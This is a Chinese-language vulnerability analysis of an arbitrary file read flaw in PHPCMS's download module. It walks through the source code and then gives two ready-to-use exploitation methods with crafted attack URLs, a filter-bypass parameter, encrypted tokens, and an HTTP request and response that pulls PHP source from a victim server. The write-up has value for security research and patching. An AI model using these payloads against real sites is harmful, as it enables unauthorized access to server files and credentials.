此次的任意文件读取漏洞也出现在down类中,上次的sql注入也是这里的坑,所以应该叫继续分析吧,先来看漏洞触发点:
/phpcms/modules/content/down.php Line 103-127
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);
file_down($fileurl, $filename);
最后一行有file_down函数,跟进去看一下:phpcms/libs/functions/global.fun.php Line 1187-1204
function file_down($filepath, $filename = '') {
if(!$filename) $filename = basename($filepath);
if(is_ie()) $filename = rawurlencode($filename);
$filetype = fileext($filename);
$filesize = sprintf("%u", filesize($filepath));
if(ob_get_length() !== false) @ob_end_clean();
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: '.$filetype);
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
readfile($filepath);
exit;
}
就一个普通的文件下载方法,当$fileurl传入后会去下载指定文件,再回到down.php文件中,在执行file_down前是走了几次判断:
(1)首先从头到尾判断$f参数中是否有php等服务端脚本文件,再看看是否带有”:\”外链文件,是否”..”目录跳转,满足其中一个条件就返回True。
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
满足后执行show message抛出错误信息,虽然没有exit结束程序,但是咱们的file_down是在二级if分支的else里面的,无法执行到目标函数。
(2)接着$f的值赋给了$fileurl参数,再做了一次内容判断。
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
(3)将$s与$fileurl拼接起来,而$fileurl就是前面可控的$f:
if($m) $fileurl = trim($s).trim($fileurl);
(4)处理远程文件,如果是外链文件的话直接跳转到目标地址。
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
}
接着走到else分支里面的str_replace,将$fileurl参数中的所有”>”、”<“参数替换为空值,这也是出现问题的函数,前面的后缀/目录跳转判断均可以绕过,可以发现需要控制的参数有 $s、$f,这俩参数在init函数中传进来的:
/phpcms/modules/content/down.php Line 76-84
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}
include template('content','download');
这一块其实是down->init()的内容,将参数传到$a_k并进行sys_auth加密,然后传给了下面的download函数,这里的$a_k已经进行了encode加密操作:
init函数与download函数中的$a_k变量保持加/解密钥的一致性:
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
…
…
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
密钥key:
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
再往下跟进:
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
变量s和f来源于变量a_k带入parse_str解析,注意a_k在down->init()中经过safe_replace处理过一次,经过sys_auth解密,key无法获取,所以需要让系统来为我们生成加密串a_k:
/phpcms/modules/content/down.php Line 11-18
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
$a_k = safe_replace($a_k);
parse_str($a_k);
可以看出这里跟上次的sql注入点一样,获取了a_k进行了一次DECODE,那么咱们就需要一个加密好的key,最好的办法还是采用attachments模块的swfupload_json的加密cookie方法(跟之前的注入payload加密一个套路),这也是采用了phpcms功能的特性吧:
/phpcms/modules/attachment/attachments.php LINE 239-253
/**
* 设置swfupload上传的json格式cookie
*/
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
注意了这里也有一次safe_replace,加密函数在:param::set_cookie('att_json',$json_str);,跟进一下:
/phpcms/libs/classes/param.class.php LINE 86-99
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$httponly = $var=='userid'||$var=='auth'?true:false;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
}
}
sys_auth($value, 'ENCODE')即是利用了phpcms内置的加密函数进行数据加密,结果正好是咱们需要的,再看看attachments.php中是否有相关权限的验证:
构造方法:
/phpcms/modules/attachment/attachments.php LINE 10-24
class attachments {
private $att_db;
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
从这里的userid来看是需要普通用户的权限
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
但是也可以传进加密后的userid_flash参数:sys_auth($_POST['userid_flash'],'DECODE')); 那么这里有两种利用方案,一种是直接通过phpcms会员中心登录获取的cookie中的userid做权限判断,还有一种方式是通过现成的经过sys_auth加密后的字符串去赋值给当前的userid,这里找到了一处,是利用了wap模块的构造方法:
/phpcms/modules/wap/index.php
class index {
function __construct() {
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);
$this->wap_site = getcache('wap_site','wap');
$this->types = getcache('wap_type','wap');
$this->wap = $this->wap_site[$this->siteid];
define('WAP_SITEURL', $this->wap['domain'] ? $this->wap['domain'].'index.php?' : APP_PATH.'index.php?m=wap&siteid='.$this->siteid);
if($this->wap['status']!=1) exit(L('wap_close_status'));
}
set_cookie跟进去就是调用sys_auth 加密函数来加密外部获取的sited值,将这里的siteid值再带入上面的userid_flash即可。
接着再返回去看这两个可控参数:s=$s、f=$f,$s带需要读取的目标文件,$f带自己构造的绕过规则检测值:
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE’, $pc_auth_key));
经过反复测试,可以采用如下参数,这里以读取down.php文件源码为例:
s=./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
解释一下这里的参数,s参数带的是要读取的down.php的源码文件,最后的p是由f参数的第一个字符p拼接过去的:
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
f=p%3%25252%2*70C : f参数是绕过正则匹配检查的关键,最后咱们要构造这样的形式:./phpcms/modules/content/down.php<,这样就能绕过所有匹配检测在最后的str_replace将”<“给替换为空,紧接着就能带入读取文件了。
再看看分析过程中遇到的phpcms安全函数safe_replace:
/phpcms/libs/functions/global.func.php
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
从过滤内容来看直接带”<“是不行的,需要构造参数,先来看看经过了几次过滤:
第一次参数得经过attachments->swfupload_json函数进行param::set_cookie加密:
最后输出的f=p%3C 就是咱们想要的”<“字符。
漏洞利用
方案一:
登录普通用户,访问链接:
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
获取分配的att_json
点击下载后即可下载目标文件
方案二:
在未登录的情况下访问:
index.php?m=wap&c=index&a=init&siteid=1
获取当前的siteid
再访问
/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26d%3D1%26modelid%3D2%26catid%3D6%26s%3D./phpcms/modules/content/down.ph&f=p%3%25252%2*70C
Post
userid_flash=14e0uml6m504Lbwsd0mKpCe0EocnqxTnbfm4PPLW
根据返回页面的cookie里面的到lkbzk_att_json ,再组合获取下载页面的payload
/index.php?m=content&c=down&siteid=1&a=init&a_k=1f6bAdyYhC91b9X981OrtRQ4roIiRXo_bRgqAj-Z2o5FgCysD2zg7ntavIs4AaMmJA_e9241GHehxteBqSTmS9yNj9o8to1DhDSAiaV5kTFK3mfLphPSlHJ7YiI6CVpRjMzEVpo6vhOh5IB56Q
会返回一个下载地址。再访问下载地址就可以获取到文件内容了
GET /index.php?m=content&c=down&a=download&a_k=976fLWUIDUHaVMnl_FtB4HdmjRb90l-uHZgmSo1Z4KHpB7tZB7RvDwPiIV6K6HtQ452IsyIrs38y8to35npWDPxaxdizTAWvZAVBJYBfJJIJgR56ajBIPd0vp4x2mmU6GUeQ HTTP/1.1
Host: victim-server
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Content-Length: 0
HTTP/1.1 200 OK
Date: Wed, 03 May 2017 07:50:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.6
Vary: Accept-Encoding
Pragma: public
Last-Modified: Wed, 03 May 2017 07:50:12 GMT
Cache-Control: pre-check=0, post-check=0, max-age=0
Content-Transfer-Encoding: binary
Content-Encoding: none
Content-type: ph>p
Content-Disposition: attachment; filename="20170503_035012279.ph>p"
Content-length: 313
<?php
/**
* index.php PHPCMS 入口
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-1
*/
//PHPCMS根目录
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
?>